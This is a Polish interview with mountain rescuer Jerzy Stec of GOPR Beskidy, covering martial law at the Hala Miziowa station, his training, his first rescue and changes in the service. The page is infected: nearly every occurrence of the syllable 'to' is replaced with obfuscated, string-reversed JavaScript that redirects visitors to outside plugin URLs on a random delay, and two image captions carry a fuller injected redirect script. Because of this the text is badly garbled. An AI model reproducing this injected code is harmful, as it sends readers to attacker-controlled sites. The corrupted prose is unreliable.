Dojeżdżamy pod Halę Miziową parę minut po dziesiątej wieczorem. Czekamy na Jurka, który ma zjechać na dół. Mija kwadrans i słychać odgłos silnika – szybko orientujemy się, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie samochód a quad. Wskakujemy na niego i wspólnie mkniemy na górę. O tym, że akurat Jurek Stec będzie miał dyżur w tym tygodniu dowiadujemy się parę dni wcześniej. Rozmówcy mówią – macie szczęście, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townik instytucja. Rozsiadamy się na najwyżej położonej stacji GOPRu i zaczynamy rozmawiać.

Od kiedy stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toi ta stacja GOPR?

Od dziewięćdziesiątego roku.

Czyli już po osiemdziesiątym dziewiątym…

Tak, tylko że wszystko było robione jeszcze na tych zasadach – czyn społeczny, te naleciałości. W tym okresie nie było nic. Tak że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, co zostało zrobione, i tak dobrze, że tyle się udało.

Wspominałeś, że tutaj zastał cię stan wojenny. W którym miejscu dokładnie?

W schronisku.

Tutaj na hali?

Tak, było pełne schronisko. O ile pamiętam, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to byli studenci z Olsztyna. Dobrze się bawili.

A jak się dowiedzieliście?

Z telewizji.

Ale nie oglądaliście przemówienia?

To leciało cyklicznie, więc potem prawdopodobnie ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to oglądał. Natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast nie było czegoś takiego jak w innych schroniskach, gdzie z długą bronią przyszli od razu w nocy i sprowadzali ludzi. „Pakować się, pod broń” i sprowadzali. Tego tu nie było. Natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast dostali czas na spakowanie i wszyscy opuścili schronisko. Zostałem sam. Może nie tak sam, bo kierownictwo zjechało, a był taki chłopak ze mną, syn znanego aktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tora.

I co się działo?

To wyglądało tak, że łączność była. Ja miałem – począwszy od rakietnicy, radio, telefon, wszystko. Tylko ludzi nie było, bo pilnowali nie na granicy, tylko na dole. Nikogo nie dopuszczali. Nie było wyjazdów, więc miałem święty spokój. A mało tego – dobrze wspominam, bo lodówki były zapełnione na maksa.

Ale normalnie pełniłeś służbę?

Tak, tylko ludzi nie było. Było dużo ucieczek przed stanem wojennym. To ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie wyglądało w ten sposób, że nas powiadamiali, że ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś przekroczył granicę. Myśmy szli i były przypadki paskudne, bo na przykład dzieciaki tam się poodmrażały, były amputacje. Przed stanem wojennym nagłośnili tak ten rejon, że tu nikt nie pilnuje, można przejść toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszyscy hurra. Na mapie blisko do Austrii. Przyjeżdżali i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się ciągnęło, a potem w stanie wojennym po jakimś czasie umorzyli, chyba po osiemdziesiątym czwartym.

A te pierwsze dni po wprowadzeniu stanu wojennego – ty po prostu siedzisz na bazie i nic?

Nie, ja miałem telefon. Miałem łączność z naszą stacją, która wtedy była nie w Szczyrku, ale w Bielsku. Łączność miałem normalną, radiową, bo wtedy mieliśmy już radia – i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bardzo dobrej klasy. Więc była bezpośrednia łączność i siedziałem cały czas.

A wtedy ile lat już byłeś ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townikiem?

8-9, bo wcześniej dyżurowałem na Rysiance. Stamtąd przyszedłem tu. To był osiemdziesiąty rok.

Wtedy byłeś już starszym ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townikiem?

Tak. I wtedy mnie naczelnik przerzucił na tę stację.

Ile w górach siedzisz tak naprawdę w skali roku?

W tej chwili całe lata praktycznie, a w tym okresie przynajmniej całą zimę, ale wcześniej różnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wyglądało. Na Pilsku robiliśmy zawody z dzieciakami w czerwcu zawsze, czyli od listoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topada się już jeździło na nartach, bo były takie opady. Zimy były zupełnie inne. Tak, że się siedziało pół roku stale.

To co – listoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topad–marzec?

Marzec, kwiecień, maj. Pamiętam, jak jeździliśmy dziewiątego, dziesiątego maja. Były takie numery, że w stanie wojennym robiłem zawody na dziewiątego maja.

Trudno toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sobie wyobrazić.

W stanie wojennym robiłem zawody z okazji Dnia Zwycięstwa. Wszyscy po zawodach zjechali na dół na przystanek w Korbielowie, gdzie teraz jest asfalt aż na tę krzyżówkę. Tam do krzyżówki można było na nartach zjechać. A w czerwcu robiłem zakończenie sezonu dla dzieci z okolicznych wiosek. trzeba było podejść na wschodnią stronę. W żlebach podchodziliśmy, ale śnieg był zawsze.

Pamiętasz swoją pierwszą akcję?

Na Czantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torii. Dość szybko ta edukacja wyglądała, bo były szkolenia i mając osiemnaście lat, już samodzielnie pełniłem dyżury.

Jerzy Stec, Ra<script srcset=$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik GOPR, GOPR Beskidy” width=”1000″ height=”563″/>

A czemu chciałeś być ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townikiem?

To może wynikało z czego innego, bo bawiłem się w sport, jeździłem na nartach wyczynowo. I potem, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się urwało – ta wyczynowa jazda – były perturbacje w klubie. Człowiek przechodził z juniora do seniora. Problem był z pieniędzmi. Potem zawiesili nas za przejście z klubu do klubu. Jazdę na nartach kontynuowałem w GOPR. W sezonie 1972-73 już pracowałem.

Ale czemu akurat ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townikiem?

Był taki moment, że byłem na treningu – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było w wieczornych godzinach – jako dzieciak. Wyglądało toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tak, że po lekcjach, powiedzmy od godziny dziewiętnastej, jeździliśmy na stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toku oświetlonym. Był trening i na koniec po prostu się zjeżdżało na nartach. Ja mieszkałem w Ustroniu, tam był klub. Na koniec zawsze się wyjeżdżało wyciągiem i później się rozpędzało na wprost, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się do domu dojechało praktycznie po drodze asfaltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towej, zaśnieżonej. Tym razem jednak wpadłem w ścianę lodową. Finał był taki, że chcieli mi nogę ucinać. A przy tym wszystkim, jak leżałem na stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toku, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to były dzieci, byli różni ludzie – nikt mi nie był w stanie pomóc. Dopiero potem jakiegoś ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towników ściągnęli, moich znajomych zresztą. I udzielili mi pomocy. Przeleżałem swoje w jakiejś chałupie, w końcu pogotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towie, szpital.

Ile trwało leczenie?

Cały rok . Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jak wieczność – byłem wtedy dwunastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toletnim dzieckiem. To tak utkwiło we mnie i potem ciągle ci ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townicy byli. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jedno z drugim było połączone. Ciągnęło mnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.

Jak masz osiemnaście lat, robisz pierwszy dyżur samodzielnie. Kiedy wobec tego zacząłeś kursy?

Całe pół roku przed. Tak jakoś się zgłosiłem i od razu. Jeszcze nie było ludzi, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to naczelnik z kimś tam zaręczali, jakieś podpisy, cuda niewidy, żeby tylko można było pracować. Potem ciągłe szkolenia w czasie. Ten podstawowy kurs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to w siedemdziesiątym czwartym skończyłem, a w szóstym czy siódmym – drugi stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topień. Wtedy intensywnie było, bo w tym wieku myśmy nie mieli rozgraniczenia: GOPR i TOPR. Szkolenia były wspólne. Siedziało się w Tatrach na okrągło, a ja w Tatrach siedziałem zawsze – od dzieciaka do osiemnastego roku. W Polsce kiedyś jeździło się na nartach praktycznie nigdzie. W żadnym tam Korbielowie czy Ustroniu, tylko zawody były w Zakopanem, Szczyrku i Szklarskiej Porębie. Nie było innych ośrodków. Nigdzie. Teraz wyciągów powstało tyle, że ta młodzież wszędzie jeździ, ale wtedy tylko tam.

To wróćmy do tej Czantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torii. Co tam się działo na tej pierwszej akcji?

Było zwichnięcie stawu barkowego. Pamiętam dobrze. Notabene toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to był mój starszy kolega. Wiesz, że gościa nie jesteś w stanie dotknąć, bo ból jest tak potężny, jeśli głowa kości ramieniowej jest poza stawem barkowym. Kiedyś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jeszcze uczyli nas tak, że tych barków trochę nastawiliśmy swego czasu. Teraz już tego nie wolno robić. Żaden ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townik tego nie robi dzisiaj. Wszystko do ambulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium. Tylko się zabezpiecza, odwozi i tak dalej.

Czy dużo wypadków miałeś na wyciągach?

Na wyciągach toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to po prostu się siedziało. Trzy, pięć, dziesięć wypadków w ciągu dnia, tak że praktyki było dużo. Potem poszedłem do wojska. W wojsku też, począwszy od iniekcji wszelakich, na izbie chorych pracowałem – miałem tam stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to osób – i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się ciągnęło. Potem był taki okres, że pracowałem w zimie w GOPR-ze, a w lecie – na pogotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towiu. Potem już, nie tak dawno w zasadzie, pracuję latoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, zima – na okrągło.

Zawsze w grupie beskidzkiej?

Tak, zawsze.

Czyli najpierw byłeś na Rysiance?

Wszystkie stacje przeszedłem na początku, bo kiedyś był taki cykl, że trzeba było wszystko przejść, a jak się zaczynało, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to chodziło się, żeby poznać specyfikę danej stacji, żeby poznać lepiej teren, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiadomo, że każdy ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townik musi znać toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topografię znać i teren działania grupy, ale wtedy jeszcze dodatkowo, powiedzmy, po dwa tygodnie na każdej stacji się spędzało. Teraz tego nie ma – i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest błąd. To wartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiedzieć, bo na każdej stacji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to inaczej wygląda. Nie wystarczy podjechać do wypadku – trzeba znać środowisko, wyciągi. Wszystkiego przez radio nie dało się załatwić.

A co się zmieniło? Masz czterdzieści parę lat doświadczenia.

Szkolenia się zmieniły. Ostatnie lata – unijne pieniądze na unijne szkolenia. Ci chłopcy już po rocznym szkoleniu znacznie więcej umieją.

Ty sam mówiłeś, że szkolisz w Austrii.

Tak, ale ja się właśnie narciarstwem alpejskim zajmowałem.

Już nie szkolisz?

Nie, bo nie ma czasu w tej chwili. Kiedyś dorabiałem w każdy możliwy sposób – gdzie jakiś wyjazd był, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jeździłem. Było okres, że w klubie pracowałem jako trener.

W jakim klubie?

Był taki w Korbielowie. Dopóki były pieniądze, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było dobrze – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to znaczy sponsor. To wszystko się odbywało na zasadzie prywatnych pieniędzy, a nie na dotacji. W Polsce jak się nie zrobi wyniku, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trzeba zapomnieć. Na nartach jeżdżą ci, którzy mają pieniądze. Reszta się ślizga.

W ilu akcjach brałeś udział?

Prawdę mówiąc, nie wiem. Tu na przykład liczymy, robimy statystyki, bo ta papierologia już w tej chwili jest taka, że jej wszyscy wymagają. Tam się rozróżnia: akcje, wyprawę, interwencję.

Czym toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się różni?

Zazwyczaj czasem, liczbą osób i użyciem sprzętu, transportu. Prosty przykład – śmigłowiec toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to już jest wyprawa. Jak są trzy osoby do dwóch godzin z transportem – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to są akcje, powyżej wyprawy. To jest tak jasno w tej chwili rozgraniczone. Wtedy tych akcji było więcej, poszukiwawczych, takich z prawdziwego zdarzenia – bo GPS-ów nie było. W takiej kopule Pilska, jak zeszła mgła i końcówek butów nie widziałeś, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie było siły, nie było mocnych, żeby nie zabłądzić. Nie było takiej opcji, bo nie masz punktu odniesienia. Lewo, prawo – nie istnieje. Ja się zgubiłem kilkanaście razy, z tym że zawsze miałem przewagę – jak zszedłem dokądś, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to byłem w stanie zorientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować miejsce, gdzie jestem: czy potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tok, czy jakieś zagłębienie, drzewa jakieś niżej. Wiedziałem i wtedy robiłem swoje, ale był okres, że nie wiedziałem, gdzie jestem, bo wszędzie biało, a jak wiało, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jak się obejrzałeś, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobą nie było śladu. W tej chwili jak masz GPS – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest zupełnie co innego. Ja GPS mam, nawet dzisiaj miałem gdzieś w kieszeni – ale mam, bo mam. Czasami trzeba tak, że leci, ja mu współrzędne podaje, bo on też nie wie, dokąd leci. Ten śmigłowiec na przykład – ja tu miałem do dyspozycji na Miziowej przez trzy lata.

Jerzy Stec, Ra<script srcset=$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik GOPR, GOPR Beskidy” width=”1000″ height=”563″ />

Co mu się stało?

Stracił ogon i coś tam jeszcze. W każdym razie dobrze toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to już było. Na takim ośrodku narciarskim jak tu był śmigłowiec, stał na okrągło – tylko do mojej dyspozycji. Każdy wypadek praktycznie był zwożony – i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to są lata osiemdziesiąte, przed osiemdziesiątym dziewiątym rokiem. Z każdym latałem. Ta pomoc była szybko niesiona. Śmigłowiec stał, tylko dzwonili i już był na górze. Dziennie tam sześć, siedem lotów było – co najmniej. U nas też bywał śmigłowiec, ale miała go do dyspozycji cała grupa.

Jakie problemy macie tutaj najczęściej?

Zagubienia są, czasami jakieś wychłodzenie też się zdarza, przemęczenie ostatnio. Bywa tak, że zazwyczaj jakiś telefon: ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś nie doszedł, zagubił się. W tej chwili ludzie mają telefony…

I jest aplikacja “Ratunek”.

Powoli ludzie zaczynają ludzie korzystać.

